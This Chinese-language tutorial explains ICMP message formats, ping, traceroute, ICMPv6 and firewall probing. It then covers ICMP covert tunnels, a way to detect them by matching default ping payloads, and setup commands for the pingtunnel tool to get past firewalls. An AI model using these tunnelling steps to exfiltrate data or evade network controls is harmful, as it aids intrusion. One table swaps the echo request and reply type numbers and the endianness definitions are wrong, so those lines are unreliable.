)因特网控制报文协议,它位于网络层,是IP层的一个组成部分,主要用来传递差错报文以及其他需要注意的信息(用于IP 协议中发送控制消息,也就是说,ICMP 是依靠 IP 协议来完成信息发送的,它是 IP 的主要部分,但是从体系结构上来讲,它位于 IP 之上,因为 ICMP 报文是承载在 IP 分组中的,就和 TCP 与 UDP 报文段作为 IP 有效载荷被承载那样【比如,当主机收到一个指明上层协议为 ICMP 的 IP 数据报时,它会分解出该数据报的内容给 ICMP,就像分解数据报的内容给 TCP 和 UDP 一样】),当然也有查询报文(比如Ping命令)。它是IPv4协议族中的一个子协议,用于IP主机、路由器之间传递控制消息。控制消息是在网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然不传输用户数据,但是对于用户数据的传递起着重要的作用
ICMP协议与ARP协议不同,ICMP靠IP协议来完成任务,所以ICMP报文中要封装IP头部。它与传输层协议(如TCP和UDP)的目的不同,一般不用来在端系统之间传送数据,不被用户网络程序直接使用,除了想Ping和Tracert这样的诊断程序
ICMP 协议和 TCP、UDP 等协议不同,它不用于传输数据,只是用来发送消息。因为 IP 协议现在有两类版本:IPv4 和 IPv6 ,所以 ICMP 也分为两个版本:ICMPv4 和 ICMPv6
ICMP协议是网络层中一个非常重要的协议,其称为Internet Control Message Protocol
(因特网控制报文协议),ICMP协议弥补了IP的缺限,它使用IP协议进行信息传递,向数据包中的源端节点提供发生在网络层的错误信息反馈
例如,路由器会使用ICMP协议来报告问题,而主机则会使用该机制来测试目的站是否可达。该报文的最终目的地不是一个应用程序或者目的设备上的用户,而是目的设备上的网际协议软件,一般ICMP报文的接收是Linux内核里的ICMP接收模块来处理的,而ICMP请求报文的发送即可以是内核里相关子系统也可以是应用层的程序发送(比如Ping命令)
ICMP 主要功能如下:
如果在 IP 通信过程中由于某个 IP 包由于某种原因未能到达目标主机,此时这个原因将由 ICMP 进行通知【路由器 2 给主机 A 发送了一个 ICMP 数据包,而没有画出具体的通知类型,但实际情况是,上面发送的是目标不可达类型(Destination unreachable
),ICMP 也是具有不同的通知类型的】,如下:
ICMP只是保证数据被送达的一个重要模块,它并没有完全解决IP协议的不可靠性。ICMP解决了哪些问题(如下)?
ICMP 攻击主要分为三类:
各种ICMP报文的前32bits都是三个长度固定的字段,为8bit的type字段、8bit的code字段、16bit的校验和字段(包括ICMP数据字段的校验和),而对于不同类型的ICMP报文,其余下字段的含义则是不同的
ICMP报文包含在IP数据报中,IP报头在ICMP报文的最前面。一个ICMP报文包括IP报头(至少20字节)、ICMP报头(至少八字节)和ICMP报文(属于ICMP报文的数据部分)。当IP报头中的协议字段值为1时,就说明这是一个ICMP报文。ICMP报头如下:
上述字段说明:
ICMP报文包含在IP数据报中,属于IP的一个用户,IP头部就在ICMP报文的前面,所以一个ICMP报文包括IP头部、ICMP头部和ICMP报文(见图表,ICMP报文的结构和几种常见的ICMP报文格式),IP头部的Protocol值为1就说明这是一个ICMP报文,ICMP头部中的类型(Type)域用于说明ICMP报文的作用及格式,此外还有一个代码(Code)域用于详细说明某种ICMP报文的类型,所有数据都在ICMP头部后面
ICMP类型目前有40个,下面几个是比较常用的,也是目前Linux 支持的类型
各种类型的ICMP报文,不同类型由报文中的类型字段和代码字段来共同决定
ICMP差错报文有时需要作特殊处理,所以需要进行区分。例如,在对ICMP差错报文进行响应时,永远不会生成另一份ICMP差错报文(如果没有这个限制规则,可能会遇到一个差错产生另一个差错的情况,而差错再产生差错,导致会无休循环下去)
当发送一份ICMP差错报文时,报文始终包含IP的首部和产生ICMP差错报文的IP数据报的前8个字节。此时,接收的ICMP差错报文的模块就会把它与某个特定的协议(根据IP数据报首部中的协议字段来判断)和用户进程(根据包含在IP数据报前8个字节中的TCP或UDP报文首部中的TCP或UDP端口号来判断)联系起来。说的简单一点就是ICMP数据包由8bit的错误类型和8bit的代码和16bit的校验和组成,校验算法和IP首部检验和算法相同。而前16bit就组成了ICMP所要传递的信息
ICMP 是承载在 IP 内部的,IPv4 封装位置如下:
ICMP 头部包含了整个 ICMP 数据段的校验和,具体格式如下
注: ICMP 报文都是以 8 位的类型(Type) 和代码(Code) 字段开始,其后的 16 位校验和涵盖了整个报文,ICMPv4 和 ICMPv6 种的类型和代码字段是不同的
Type:报文类型,用来表示报文
Code:代码,提供报文类型的进一步信息
Checksum:校验和,icmp校验和仅覆盖icmp报文
Message Body:字段的长度和内容,取决于消息的类型和代码
ICMP报文分为:ICMP差错报告报文和ICMP查询报文
注:大多数情况下,错误的包传送应该给出ICMP报文,但是在特殊情况下,是不产生ICMP错误报文的,如下:
类型 | 代码 | 描述 | 查询报文 | 差错报文 |
---|---|---|---|---|
0 | 0 | 回送应答(Echo Reply) | √ | × |
3 | 目标不可达(Destination Unreachable) | |||
0 | 网络不可达(net unreachable) | × | √ | |
1 | 主机不可达(host unreachable) | × | √ | |
2 | 协议不可达(protocol unreachable) | × | √ | |
3 | 端口不可达(port unreachable) | × | √ | |
4 | 需要进行分片但设置了不分片比特(fragmentation needed and DF set) | × | √ | |
5 | 源站选路失败(source route failed) | × | √ | |
6 | 目的网络不认识(Destination network unknown) | × | √ | |
7 | 目的主机不认识(Destination host unknown) | × | √ | |
8 | 源主机被隔离(作废不用) (Source host isolated (obsolete)) | × | √ | |
9 | 目的网络被强制禁止(Destination network administratively prohibited) | × | √ | |
10 | 目的主机被强制禁止(Destination host administratively prohibited) | × | √ | |
11 | 由于服务类型TOS,网络不可达(Network unreachable for Type Of Service) | × | √ | |
12 | 由于服务类型TOS,主机不可达(Host unreachable for Type Of Service) | × | √ | |
13 | 由于过滤,通信被强制禁止 | × | √ | |
14 | 主机越权 | × | √ | |
15 | 优先权中止生效 | × | √ | |
4 | 0 | 原点抑制(Source Quench) | × | √ |
5 | 重定向或改变路由(Redirect) | |||
0 | 对网络重定向 | × | √ | |
1 | 对主机重定向 | × | √ | |
2 | 对服务类型和网络重定向 | × | √ | |
3 | 对服务类型和主机重定向 | × | √ | |
8 | 0 | 回送请求(Echo Request) | √ | × |
9 | 0 | 路由器公告(Router Advertisement) | √ | × |
10 | 0 | 路由器请求(Router Solicitation) | √ | × |
11 | ICMP 超时(Time Exceeded) | |||
0 | 传输期间生存时间为0 | × | √ | |
1 | 在数据报组装期间生存时间为0 | × | √ | |
12 | 参数问题 | |||
0 | 坏的IP首部(包括各种差错) | × | √ | |
1 | 缺少必需的选项 | × | √ | |
13 | 0 | 时间戳请求 | √ | × |
14 | 0 | 时间戳应答 | √ | × |
15 | 0 | 信息请求(作废不用) | √ | × |
16 | 0 | 信息应答(作废不用) | √ | × |
17 | 0 | 地址子网请求(Address Mask Request) | √ | × |
18 | 0 | 地址子网应答(Address Mask Reply) | √ | × |
常见的 ICMP 查询报文类型有以下几种:
而差错报文就是,用于通知主机出错的原因。显然,ICMP 差错报告报文是伴随着出错数据产生的。一旦 IP 协议发现某个 IP 数据报出错了,首先就会毅然地丢弃出错的这个 IP 数据报,然后发送 ICMP 差错报文
常见的 ICMP 差错报文类型有以下几种:
最常见的ICMP消息表:
ICMP消息类型 | 用途说明 |
---|---|
回显请求 | Ping 命令通过发送ICMP回显消息检查特定节点的IPv4连接以排查网络问题【类型值为0】 |
回显应答 | 节点发送回显答复消息响应ICMP回显消息【类型值为8】 |
重定向 | 路由器发送“重定向”消息,告诉发送主机到目标IPv4地址更好的路由【类型值为5】 |
源抑制 | 路由器发送“源结束”消息,告诉发送主机它们的IPv4数据报将被丢弃。因为路由器上发生了拥塞。于是,发送主机将以较低的频度发送数据报【类型值为4】 |
超时 | 两种用途。第一,当超过IP生存期时向发送系统发出错误信息。第二,如果分段的IP数据报没有在某种期限内重新组合,这个消息将通知发送系统【类型值为11】 |
无法到达目标 | 路由器和目标主机发送“无法到达目标”消息,通知发送主机它们的数据无法传送【类型值为3】 |
常用的协议号:
IP是一个尽力而为的交付机制,不会轻易丢弃数据报。当路由设备无法转发或者交付IP数据报时,会向源站发送一个目的站不可达的报文,然后丢弃该数据报文。因为由于路由设备的MTU太小而需要分片,然而IP报文DF标志位不允许,造成无法转发,此时路由会丢弃报文并同时向源主机发送一条ICMP目的不可达消息
如果用户发送的请求,路由器无法将 IP 数据报发送给目标地址时,会给发送端主机返回一个目标不可达(Destination Unreachable Message) 的 ICMP 消息,并且会在消息中显示不可达的具体原因,如下:
实际通信过程中会显示各种各样的不可达信息,比如错误代码时 1 表示主机不可达,它指的是路由表中没有主机的信息,或者主机没有连接到网络的意思。一些 ICMP 不可达信息的具体原因如下
ICMP类型3的代码(错误号) | 描述ICMP 目标不可达(Destination Unreachable)消息 |
---|---|
0 | 网络不可达(net unreachable) |
1 | 主机不可达(host unreachable) |
2 | 协议不可达(protocol unreachable) |
3 | 端口不可达(port unreachable) |
4 | 需要进行分片但设置了不分片比特(fragmentation needed and DF set) |
5 | 源站选路失败(source route failed) |
6 | 目的网络不认识(Destination network unknown) |
7 | 目的主机不认识(Destination host unknown) |
8 | 源主机被隔离(作废不用) (Source host isolated (obsolete)) |
9 | 目的网络被强制禁止(Destination network administratively prohibited) |
10 | 目的主机被强制禁止(Destination host administratively prohibited) |
11 | 由于服务类型TOS,网络不可达(Network unreachable for Type Of Service) |
12 | 由于服务类型TOS,主机不可达(Host unreachable for Type Of Service) |
13 | 由于过滤,通信被强制禁止 |
14 | 主机越权 |
15 | 优先权中止生效 |
ICMP 类型 5 (重定向消息)是ICMP控制报文中的一种。在特定的情况下,当路由器检测到一台主机或网络设备使用非优化路由的时候,它会向该主机或网络设备发送一个ICMP重定向报文,请求主机或网络设备改变路由。路由器也会把初始数据报向它的目的地转发
如果路由器发现发送端主机使用了次优的路径发送数据,那么它会返回一个 ICMP 重定向(ICMP Redirect Message
) 的消息给这个主机。这个 ICMP 重定向消息包含了最合适的路由信息和源数据。这种情况会发生在路由器持有更好的路由信息的情况下。路由器会通过这样的 ICMP 消息给发送端主机一个更合适的发送路由
主机 Host 的 IP 地址为 10.0.0.100。主机的路由表中有一个默认路由条目,指向路由器 G1 的 IP 地址 10.0.0.1 作为默认网关。路由器 G1 在将数据包转发到目的网络 X 时,会使用路由器 G2 的 IP 地址 10.0.0.2 作为下一跳
当主机向目的网络 X 发送数据包时,会发生如下情况:
如果根据主机的配置,Host 主机也可以选择忽略 G1 给它发送的 ICMP 重定向消息。但是,这样就享受不到 ICMP 重定向带来的两大好处,即:
如果 Host 主机采用了 ICMP 提供的重定向路径的话,那么 Host 就会直接把数据包发送至网络 X,如下图所示
在上图中,主机为 G2 作为下一跳的网络 X 创建路由缓存条目后,优势如下:
IP 数据包中有一个叫做 TTL(Time To Live
,生存周期) ,它的值在每经过路由器一跳之后都会减 1,IP 数据包减为 0 时会被丢弃。此时,IP 路由器会发送一个 ICMP 超时消息 (ICMP TIme Exceeded Message
,错误号 0) 发送给主机,通知该包已经被丢弃
通俗点来讲就是当收到TTL为0的报文时,网络设备/主机会丢弃该报文,并返回一个ICMP超时报文
设置生存周期的主要目的就是为了防止路由器控制遇到问题发生循环状况时,避免 IP 包无休止的在网络上转发,如下:
ICMP类型0和8(),用于进行通信的主机或路由器之间,判断所发送的数据包是否已经成功到达对端的一种消息(比如ping 命令就是利用这个实现的)。可以向对端主机发送 ICMP 回送请求的消息(ICMP Echo Request Message
,类型 8),也可以接收对端主机发回来的 ICMP 回送应答消息(ICMP Echo Reply Message
,类型 0),如下图:
ping 应用就是基于 ICMP 回送消息实现:
【例1】ping一下百度试试:ping -c 6 baidu.com
从下图可以看到,ping 结束后,给出了传送的时间和TTL的数据。上面因为ping 百度时走的路由少,没有丢包,延时也很低,有兴趣地可以ping一下国外的网站比如sf.net
(如下图),可以观察到一些丢包的现象,而程序运行的时间也会更加的长
Wireshark 抓包:
大端(Big-Endian):低字节放在高位,高字节放在低位
小端(Little-Endian):低字节放在低位,低字节放在高位
ICMP 类型 4 (原点抑制消息)是为了应对在使用低速率网络的情况下,网络通信可能会遇到网络拥堵的一种响应机制。比如当路由器向低速线路发送数据时,其发送队列的残存数据报变为 0 从而无法发送时,可以向 IP 数据报的源地址发送一个 ICMP 原点抑制(ICMP Source Quench Message
) 消息,收到这个消息的主机了解到线路某处发生了拥堵,从而抑制 IP 数据报的发送
注: ICMP 类型 4 (原点抑制消息) 可能会引起一些不公平的网络通信,一般不建议被使用
ICMP 路由器探索消息主要用于路由器发现(Router Discovery
, RD),它主要分为两种,路由器请求(Router Solicitation
,类型 10) 和路由器响应(Router Advertisement
,类型 9)。主机会在任意路由连接组播的网络上发送一个 RS 消息,想要选择一个路由器进行学习,以此来作为默认路由,而相对应的该路由会发送一个 RA 消息来作为默认路由的响应
主要用于主机或者路由器想要了解子网掩码的情况。可以向那些目标主机或路由器发送 ICMP 地址掩码请求消息(ICMP Address Mask Request
,类型 17) 和 ICMP 地址掩码应答消息(ICMP Address Mask Reply
,类型 18) 获取子网掩码信息
额外在介绍一看工具:Traceroute
ping请求数据报在每经过一个路由器的时候,路由器都会把自己的ip放到该数据报中。而目的主机则会把这个IP列表复制到回应ICMP数据包中发回给主机。导致,IP头所能纪录的路由列表是非常的有限。如果要观察路由,就要使用Traceroute(Windows下面的名字叫做tracert)
Traceroute是用来侦测主机到目的主机之间所经路由情况的重要工具,也是最便利的工具。由VanJacobson编写的Traceroute程序是一个能更深入探索TCP/IP协议的方便可用的工具。尽管不能保证从源端发往目的端的两份连续的IP数据报具有相同的路由,但是大多数情况下是这样的。Traceroute程序可以让用户看到IP数据报从一台主机传到另一台主机所经过的路由。Traceroute程序还可以让用户使用IP源路由选项。ping 命令的不足,是因为IP头的限制,ping不能完全的记录下所经过的路由器,在Traceroute 命令这里完美的解决了这个IP头限制的问题
注:ICMP 差错报文不是只有在通信异常的时候才会生成,traceroute 命令就会使用 ICMP 的规则,故意制造一些能够产生异常的场景
Traceroute 主要作用:
Traceroute 原理:比如,客户端收到目的主机的IP后,首先给目的主机发送一个TTL=1的UDP数据包,而经过的第一个路由器收到这个数据包以后,就自动把TTL减1,而TTL变为0以后,路由器就把这个包给抛弃了,并同时产生一个主机不可达的ICMP数据报给主机。主机收到这个数据报以后再发一个TTL=2的UDP数据报给目的主机,然后刺激第二个路由器给主机发ICMP数据报。如此,一遍又一遍的发送包直到到达目的主机。这样,traceroute就拿到了所有的路由器IP。完美避开了IP头只能记录有限路由IP的问题
比如两层路由环境:
此时在Windows PC上执行如下命令:
# Windows
tracert 192.168.2.1
# Linux
traceroute 192.168.2.1
接着,Windows PC首先发送了TTL为1的ICMP数据包,如下:
traceroute baid.com
为例,客户端输入 traceroute 命令+ip时, 客户端就发起一个ICMP回显请求报文,第一个数据包,TTL=1,这样第一跳路由器收到后,要转发出去时,会将TTL减一,即TTL=0, 就丢弃,然后第一跳路由器就返回一个ICMP超时的错误信息,客户端收到后,会判断是否收到ICMP 回显应答 报文? 如果还没收到,就会继续发送 回显请求报文,TTL加1进行尝试,当到底服务器后,服务器就会发送 ICMP 回显应答报文
baidu.com IP 地址
下图红框中的星号是因为有的路由器压根不会回这个ICMP。这也是使用Traceroute测试一个公网的地址,看不到中间路由的原因
SOCKS是"SOCKetS"的缩写
SOCKS代理更底层,是在会话层;而HTTP代理是在应用层。因此SOCKS代理可以代理一切客户端的连接,而HTTP代理只能代理使用HTTP协议的客户端。由于更底层,不需要处理高级协议的细节,所以SOCKS代理更快
SOCKET被称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,可以用来实现不同计算机之间的通信,它的本质是编程接口(API),是对TCP/IP的封装。SOCKS是一个代理协议,目前最新版本为SOCKS5,所谓代理就是可以通过它的去间接的访问网络,相当于一个中转站。区别:SOCKET是一个API,一个工具,让你建立网络连接用的。SOCKS是协议,是一组数据结构
目前VPN隧道协议主要有4种:点到点隧道协议PPTP、第二层隧道协议L2TP、网络层隧道协议IPSec以及SOCKS v5协议。其中,PPTP和L2TP工作在数据链路层,IPSec工作在网络层,SOCKS v5工作在会话层
一些支持SOCKS代理的工具:EarthWorm(ew、新版本Termite)、reGeorg、sSocks、SocksCap64(SSTap)、Proxifier、ProxyChains
IPv4 中 ICMP 仅仅作为一个辅助作用支持 IPv4。也就是说,在 IPv4 时期,即使没有 ICMP,也能进行正常的 IP 数据包的发送和接收,也就是 IP 通信。但是在 IPv6 中,ICMP 的作用被放大了,如果没有 ICMP,则不能进行正常的 IP 通信
注:IPv6隧道可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中
尤其在 IPv6 中,从 IP 定位 MAC 地址的协议从 ARP 转为 ICMP 的邻居探索消息(Neighbor Discovery
) 。这种邻居探索消息融合了 IPv4 的 ARP、ICMP 重定向以及 ICMP 的路由选择等功能于一体。甚至还提供了自动设置 IP 的功能
在 IPv6 中,ICMP 消息主要分为两类:一类是错误消息,一类是信息消息。0 - 127
属于错误消息;128 - 255
属于信息消息
ICMP 是承载在 IP 内部的,IPv6 封装位置如下:
注:
RFC 2463
中描述了以下消息类型:
类型 | 描述 |
---|---|
1 | 目标不可达 (Destination Unreachable ) |
2 | 数据包太大 (Packet Too Big ) |
3 | 超时 (Time Exceeded ) |
4 | 参数问题 (Parameter Problem ) |
128 | 回送请求消息 (Echo Request ) |
129 | 回送应答消息 (Echo Reply ) |
130 | 多播监听查询 (Multicast Listener Query ) |
131 | 多播监听报告 (Multicast Listener Repor t) |
132 | 多播监听结束 (Multicast Listener Done ) |
133 | 路由器请求消息(Router Solicitation ) |
134 | 路由器公告消息 (Router Advertisement ) |
135 | 邻居请求消息 (Neighbor Solicitation ) |
136 | 邻居宣告消息 (Neighbor Advertisement ) |
137 | 重定向消息 (Redirect Message ) |
138 | 路由器重编号 (Router Renumbering ) |
139 | 信息查询 (ICMP Node Information Query ) |
140 | 信息应答(ICMP Node Information Response ) |
141 | 反邻居探索请求消息 (Inverse Neighbor Discovery Solicitation ) |
142 | 反邻居探索宣告消息 (Inverse Neighbor Discovery Advertisement ) |
ICMPv6 除了包含 ICMPv4 的所有功能外,包括ICMPv6 邻居探索和ICMPv6 的组播收听发现协议
邻居探索是 ICMPv6 非常重要的功能,主要表示的类型是 133 - 137
之间的消息叫做邻居探索消息。这种邻居探索消息对于 IPv6 通信起到举足轻重的作用。邻居请求消息用于查询 IPv6 地址于 MAC 地址的对应关系。邻居请求消息利用 IPv6 的多播地址实现传输
由于 IPv6 实现了即插即用的功能,所以在没有 DHCP 服务器的环境下也能实现 IP 地址的自动获取。如果是一个没有路由器的网络,就使用 MAC 地址作为链路本地单播地址。如果在一个有路由器的网络环境中,可以从路由器获得 IPv6 地址的前面部分,后面部分使用 MAC 地址进行设置。此时可以利用路由器请求消息和路由器公告消息进行设置
1)ICMPv6 的组播收听发现协议
组播收听发现协议(MLD,Multicast Listener Discovery
)由子网内的组播成员管理。MLD 协议定义了3条ICMPv6 消息:
Ping命令就是利用ICMP协议走的,ICMP扫描技术主要是利用ICMP协议最基本的用途:报错。根据网络协议,如果按照协议出现了错误,那么接收端将产生一个ICMP的错误报文。这些错误报文并不是主动发送的,而是由于错误,根据协议自动产生
当IP数据报出现checksum和版本的错误的时候,目标主机将抛弃这个数据报,如果是checksum出现错误,那么路由器就直接丢弃这个数据报了。有些主机比如AIX、HP-UX等,是不会发送ICMP的Unreachable数据报的
利用下面这些特性:
tcpdump -i eth0 'host x.x.x.x'
...# 八个包:前三个握手、后四个挥手、中间一个包传tcp数据。由此可得出,不是rst方式的防火墙,也不是首包丢弃的防火墙
18:15:53.547200 IP instance-fj5pftdp.51400 > x.x.x.x.http: Flags [S], seq 468920486, win 27200, options [mss 1360,sackOK,TS val 2405982013 ecr 0,nop,wscale 7], length 0
18:15:53.579860 IP x.x.x.x.http > instance-fj5pftdp.51400: Flags [S.], seq 3601120884, ack 468920487, win 14480, options [mss 1460,sackOK,TS val 556123394 ecr 2405982013,nop,wscale 7], length 0
18:15:53.579943 IP instance-fj5pftdp.51400 > x.x.x.x.http: Flags [.], ack 1, win 213, options [nop,nop,TS val 2405982046 ecr 556123394], length 0
18:15:53.580084 IP instance-fj5pftdp.51400 > x.x.x.x.http: Flags [P.], seq 1:2, ack 1, win 213, options [nop,nop,TS val 2405982046 ecr 556123394], length 1: HTTP
18:15:53.580097 IP instance-fj5pftdp.51400 > x.x.x.x.http: Flags [F.], seq 2, ack 1, win 213, options [nop,nop,TS val 2405982046 ecr 556123394], length 0
18:15:53.611613 IP x.x.x.x.http > instance-fj5pftdp.51400: Flags [.], ack 2, win 114, options [nop,nop,TS val 556123427 ecr 2405982046], length 0
18:15:53.611895 IP x.x.x.x.http > instance-fj5pftdp.51400: Flags [F.], seq 1, ack 3, win 114, options [nop,nop,TS val 556123427 ecr 2405982046], length 0
18:15:53.611924 IP instance-fj5pftdp.51400 > x.x.x.x.http: Flags [.], ack 2, win 213, options [nop,nop,TS val 2405982078 ecr 556123427], length 0
syn-ack
代理,在未被拉黑时,向x.x.x.x不存在tcp服务的端口发送syn包,如果能收到syn-ack
,就说明防火墙做了syn-ack代理为什么会被防火墙拉黑?
向目标主机发送一个IP数据报,但是协议项是错误的,比如协议项不可用,那么目标将返回Destination Unreachable的ICMP报文,但是如果是在目标主机前有一个防火墙或者一个其他的过滤装置,可能过滤掉提出的要求,从而接收不到任何回应
两种方法,判断设备是否存在防火墙:
Destination Unreachable
),来判断是否存在防火墙或者其它安全设备有拦截如果不能从目标得到Unreachable报文或者分片组装超时错误报文,该怎么办?可以做以下排查:
Destination Unreachable
或者Protocol Unreachable
错误消息为了逃避监测,绕过杀软、防火墙,更好的隐藏自身,许多黑客都会使用隧道技术来尝试绕过手软或防火墙,在检测ICMP隧道攻击的时候,载荷分析和流量监测两种常规的检测方法不太实用于高隐蔽性新型隧道攻击检测,靠提取攻击工具特征中,将样本特征添加到设备作为监测对象效率依旧不高,可结合协议本身,基于通信行为检测隧道木马,,采用 Winpcap 数据包捕获技术的底层过滤机制,抓取 DNS 流量.将抓取的 DNS 流量按照五元组进行聚类,形成 DNS 会话数据流.将一个个 DNS 会话数据流提取成 DNS 会话评估向量,作为分类训练模块和木马流量监测的输入,比如DNS隧道木马检测流程框架如下:
隧道技术(Tunneling):是一种通过使用互联网络的基础设施在网络之间传递数据的方式,使用隧道传递的Data(数据)或 Payload (负载)可以是不同协议的数据帧或包。隧道协议将其它协议的数据帧或包,重新封装然后通过隧道发送,新的帧头,提供路由信息,以便通过互联网传递被封装的 Payload
DNS、ICMP、http/https
等难于禁止的协议已成为黑客控制隧道的主流数据传输特点(Feature):不通过网络直接发送数据包,通过封装技术在另一个(通常是加密的)连接中发送数据
ICMP协议是必不可少的网络通信协议之一,被用于检测网络连通状态,通常情况下,防火墙会默认放行此协议。由于防火墙对ICMP协议开放,恶意攻击者常会利用ICMP协议进行非法通信。例如,在黑客攻击中经常出现一种情况是,黑客通过某一种方式取得了设备的权限后,得到了一些文件,比如证书、敏感文件、系统或应用APK包等之类的东西,需要回传至本地进行破解,但是防火墙阻断了由内网发起的请求,只有ICMP协议没有被阻断,而攻击者又需要回传文件。此时,如果攻击者可以ping通远程计算机,就可以尝试建立ICMP隧道,ICMP隧道是将流量封装进 ping 数据包中,利用 ping数据走的ICMP协议来穿透防火墙的检测。现市面上已有很多类似ICMP穿透防火墙的利用工具,比如 icmptunnel、ptunnel、icmpsh等
如何检测这种隧道?用传统的签名无法对抗负载加密,复杂的流量统计比对让检测引擎不堪重负,误报率也较高,而基于ICMP常规的通讯数据和攻击时产生的畸形数据,利用信息熵来分析
ICMP(Internet Control Message Protocol
)因特网控制报文协议,它位于网络层,是IP层的一个组成部分,主要用来传递差错报文以及其他需要注意的信息(用于IP 协议中发送控制消息,也就是说,ICMP 是依靠 IP 协议来完成信息发送的,是TCP/IP协议族的子协议,是一种面向无连接的协议
1)Windows ping baidu.com
,Wireshark抓包分析Ping 后的ICMP数据包
过滤下数据包,一次查看dada的十六进制,可以发现Windows下默认的ICMP的前置头信息为:abcdefghijklmnopqrstuvwabcdefghi
,共32bytes,16进制为:6162636465666768696a6b6c6d6e6f7071727374757677616263646566676869
,如下图
2)Linux ping baidu.com
,Wireshark抓包分析Ping 后的ICMP数据包
过滤下数据包,一次查看dada的十六进制,可以发现Linux (Mac跟Linux 的是一样的)下,去掉开头可变的8bytes后,默认的ICMP的前置头信息为:!"#$%&'()+,-./01234567
,共48bytes,16进制为:101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
,如下图
3)ping 包的大小,是可以修改的。以Windows为例,ping baidu.com -l 110
,修改为110bytes
ICMP的前置头信息为:abcdefghijklmnopqrstuvwabcdefghijklmnopgrstuvw
,包的内容是一样的,只是不断重复而已,如下图
注:对自定义长度的ping,不管是Linux还是Windows,去掉开头可变的8bytes,取data数据中的十六进制即可
4)AC自动机算法,来对字符串匹配方法进行特征匹配,每4位切分成特征数组,生成的特征数组进行匹配,匹配度算法:匹配度 = 匹配到的特征的个数*4 / payload的长度
。比如:
Linux:
"1011","1213","1415","1617","1819","1a1b","1c1d","1e1f","2021","2223","2425","2627","2829","2a2b","2c2d","2e2f","3031","3233","3435","3637"
Windows:
"6162","6364","6566","6768","696a","6b6c","6d6e","6f70","7172","7374","7576","7761","6263","6465","6667","6869"
注:对于正常的ping数据产生的data,计算得到的匹配度结果都在0.9以上,ICMP隧道产生的自定义data的数据包通常匹配度很低,可根据匹配度来区分是否是正常操作系统产生的数据包
5)更改ICMP中data默认的前置信息,来建立ICMP隐蔽隧道
通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY
两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用Ping命令建立隐蔽通道。通过改变操作系统默认填充的data,替换成攻击者自己的数据,利用ICMP的请求和应答数据包,伪造Ping命令的数据包形式,实现绕过防火墙和入侵检测系统的阻拦。对于ICMP隧道产生的自定义data数据包,转换为16进制后内容是乱序没有规律的,比如构造一个内容为
进行隐蔽传输的时候,肉鸡(防火墙内部)运行并接受外部攻击端的ICMP_ECHO
数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO
数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY
数据包中,发送给外部攻击端
优缺点:
持续更新,TCP、UDP、socks5 over ICMP,速度快,连接稳定,跨平台,支持大多数具有libpcap的操作系统,从版本0.7开始,ptunnel也可以在装WinPcap的Windows上编译,client模式不需要管理员权限即可正常使用,推荐使用
下载地址:https://github.com/esrrhs/pingtunnel
服务端(无法ping通另一台)
# 安装最新版
sudo wget (最新release的下载链接)
sudo unzip pingtunnel_linux64.zip
# 禁用ICMP echo回复,防止内核自己对ping包进行响应<可选>
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
# 建立隧道
sudo ./pingtunnel -type server
客户端(可以ping通另一台),准备好一个具有公网 IP的服务器,假定域名或者公网 ip 是orangey.info
sudo wget (最新release的下载链接)
sudo unzip pingtunnel_linux64.zip
# 转发TCP
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
命令参数介绍:
./pingtunnel 通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。 By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic. Usage: // server pingtunnel -type server // client, Forward udp pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 // client, Forward tcp pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1 // client, Forward sock5, implicitly open tcp, so no target server is needed pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1 -type 服务器或者客户端 client or server 服务器参数server param: -key 设置的密码,默认0 Set password, default 0 -nolog 不写日志文件,只打印标准输出,默认0 Do not write log files, only print standard output, default 0 is off -noprint 不打印屏幕输出,默认0 Do not print standard output, default 0 is off -loglevel 日志文件等级,默认info log level, default is info -maxconn 最大连接数,默认0,不受限制 the max num of connections, default 0 is no limit -maxprt server最大处理线程数,默认100 max process thread in server, default 100 -maxprb server最大处理线程buffer数,默认1000 max process thread's buffer in server, default 1000 -conntt server发起连接到目标地址的超时时间,默认1000ms The timeout period for the server to initiate a connection to the destination address. The default is 1000ms. 客户端参数client param: -l 本地的地址,发到这个端口的流量将转发到服务器 Local address, traffic sent to this port will be forwarded to the server -s 服务器的地址,流量将通过隧道转发到这个服务器 The address of the server, the traffic will be forwarded to this server through the tunnel -t 远端服务器转发的目的地址,流量将转发到这个地址 Destination address forwarded by the remote server, traffic will be forwarded to this address -timeout 本地记录连接超时的时间,单位是秒,默认60s The time when the local record connection timed out, in seconds, 60 seconds by default -key 设置的密码,默认0 Set password, default 0 -tcp 设置是否转发tcp,默认0 Set the switch to forward tcp, the default is 0 -tcp_bs tcp的发送接收缓冲区大小,默认1MB Tcp send and receive buffer size, default 1MB -tcp_mw tcp的最大窗口,默认20000 The maximum window of tcp, the default is 20000 -tcp_rst tcp的超时发送时间,默认400ms Tcp timeout resend time, default 400ms -tcp_gz 当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0 Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0 -tcp_stat 打印tcp的监控,默认0 Print tcp connection statistic, default 0 is off -nolog 不写日志文件,只打印标准输出,默认0 Do not write log files, only print standard output, default 0 is off -noprint 不打印屏幕输出,默认0 Do not print standard output, default 0 is off -loglevel 日志文件等级,默认info log level, default is info -sock5 开启sock5转发,默认0 Turn on sock5 forwarding, default 0 is off -profile 在指定端口开启性能检测,默认0不开启 Enable performance detection on the specified port. The default 0 is not enabled. -s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发 Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not 